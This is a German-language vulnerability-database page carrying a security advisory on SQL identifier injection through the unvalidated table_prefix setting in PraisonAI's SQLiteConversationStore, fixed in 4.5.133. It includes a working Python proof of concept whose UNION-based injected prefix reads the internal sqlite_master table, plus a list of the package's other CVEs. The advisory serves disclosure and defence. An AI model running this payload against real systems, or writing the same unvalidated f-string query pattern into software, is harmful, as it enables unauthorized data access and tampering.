Mittel

PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries

  • Veröffentlicht: 10.04.2026
  • Aktualisiert: 11.10.2026 14:18

Summary

The table_prefix configuration value is directly used to construct SQL table identifiers without validation.

If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.


Details

This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.

This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:

python
sessions_table = f"{table_prefix}sessions"

This value is then used in queries such as:

sql
SELECT * FROM {self.sessions_table}

Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.

The vulnerability originates from configuration input and propagates through the following flow:

  • Source: config.py (from_yaml / from_dict) accepts external configuration input

  • Propagation: factory.py (create_stores_from_config) passes conversation_options without validation

  • Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from table_prefix

As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.

PoC

1. Exploit Code

The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.

python
#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix

This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""

import os
import tempfile

from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession


def run_poc() -> int:
    fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(fd)

    try:
        print(f"[+] temp db: {db_path}")

        # 1) Create normal schema and insert one legitimate session.
        normal = SQLiteConversationStore(
            path=db_path,
            table_prefix="praison_",
            auto_create_tables=True,
        )
        normal.create_session(
            ConversationSession(
                session_id="legit-session",
                user_id="user1",
                agent_id="agent1",
                name="Legit Session",
                state={},
                metadata={},
                created_at=123.0,
                updated_at=123.0,
            )
        )

        normal_rows = normal.list_sessions(limit=10, offset=0)
        print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
        print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")

        # 2) Malicious prefix (UNION-based query structure manipulation)
        injected_prefix = (
            "praison_sessions WHERE 1=0 "
            "UNION SELECT "
            "name as session_id, "
            "NULL as user_id, "
            "NULL as agent_id, "
            "NULL as name, "
            "NULL as state, "
            "NULL as metadata, "
            "0 as created_at, "
            "0 as updated_at "
            "FROM sqlite_master -- "
        )

        injected = SQLiteConversationStore(
            path=db_path,
            table_prefix=injected_prefix,
            auto_create_tables=False,
        )

        injected_rows = injected.list_sessions(limit=10, offset=0)
        injected_ids = [row.session_id for row in injected_rows]

        print(f"[+] injected.list_sessions() count: {len(injected_rows)}")
        print(f"[+] injected session_ids (first 10): {injected_ids[:10]}")

        suspicious = any(
            x in injected_ids
            for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages")
        )

        if suspicious or len(injected_rows) > len(normal_rows):
            print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix")
            return 0

        print("[!] PoC inconclusive: no clear injected rows observed")
        return 2

    finally:
        try:
            os.remove(db_path)
            print("[+] temp db removed")
        except OSError:
            pass


if __name__ == "__main__":
    raise SystemExit(run_poc())

2. Expected Output

PoC Result The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.

3. Impact

  • SQL Identifier Injection
  • Query result manipulation
  • Internal schema disclosure

Exploitable when untrusted input can influence configuration.


Reference

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) praisonai < 4.5.133 4.5.133

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-89
Plattform
Python (PyPI)
Paket
praisonai
Veröffentlicht
10.04.2026
Aktualisiert
11.10.2026 14:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2925 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-x783-xp3g-mqhp - CC BY 4.0

Schwachstellenhistorie: praisonai

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (104) im Archiv
Einträge insgesamt
104
Erste → letzte
04.2026 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 27
  • Hoch 60
  • Mittel 17

Veröffentlichungen pro Jahr

  1. 2026: 104
Schweregrad:
  1. Hoch · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  2. Hoch · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  3. Hoch · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  4. Kritisch · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  5. Hoch · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  6. Hoch · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
  7. Hoch · 8.3 CVE-2026-56835 >= 3.11.0, < 4.6.59 4.6.59
  8. Hoch · 8.2 CVE-2026-56836 >= 4.5.112, < 4.6.59 4.6.59
  9. Hoch CVE-2026-47397 < 4.6.40 4.6.40
  10. Kritisch · 9.8 CVE-2026-41497 < 4.5.149 4.5.149
  11. Kritisch · 9.8 CVE-2026-40288 < 4.5.139 4.5.139
  12. Hoch · 8.4 CVE-2026-40287 < 4.5.139 4.5.139
  13. PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries dieser Eintrag
    Mittel CVE-2026-40315 < 4.5.133 4.5.133
  14. Kritisch · 9.3 CVE-2026-40154 < 4.5.128 4.5.128
  15. Kritisch · 9.6 CVE-2026-40088 < 4.5.121 4.5.121
  16. Hoch · 8.8 CVE-2026-39891 < 4.5.115 4.5.115
  17. Kritisch CVE-2026-35615 < 1.5.113 1.5.113
Mehr anzeigen (8) 80 von 88 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.